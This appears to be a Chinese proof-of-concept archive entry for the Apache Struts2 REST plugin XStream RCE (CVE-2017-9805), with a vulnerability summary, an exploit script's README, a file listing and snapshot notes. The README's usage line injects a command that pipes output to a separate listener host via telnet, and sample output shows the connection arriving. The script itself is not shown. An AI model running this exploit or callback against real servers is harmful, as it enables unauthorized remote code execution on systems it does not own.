关联漏洞
标题:
Apache Struts 代码问题漏洞
(CVE-2017-9805)
描述:Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。REST plugin是其中的一个处理传入URL请求的插件。 Apache Struts 2.5版本至2.5.12版本和2.1.2版本至2.3.33版本的REST插件存在远程代码执行漏洞。当Struts2通过REST插件使用XStream的实例xstreamhandler处理反序列化XML有效载荷时没有进行任
描述
Exploit script for Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805)
介绍
# Vulnerability information
Resources:
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
# What is this?
A python exploit script capable of executing remote commands into the shell of a system hosting a Struts2 vulnerable to S2-052.
# Usage
python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"
```bash
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
```
```bash
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned
```
Tested on pentesterlab vulnerable machine of exercise s2-052.
文件快照
[4.0K] /data/pocs/95fd0fe5933bb9ba93b0b4a9b9388eafc4799ffd
├── [ 742] README.md
└── [5.6K] s2-052.py
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。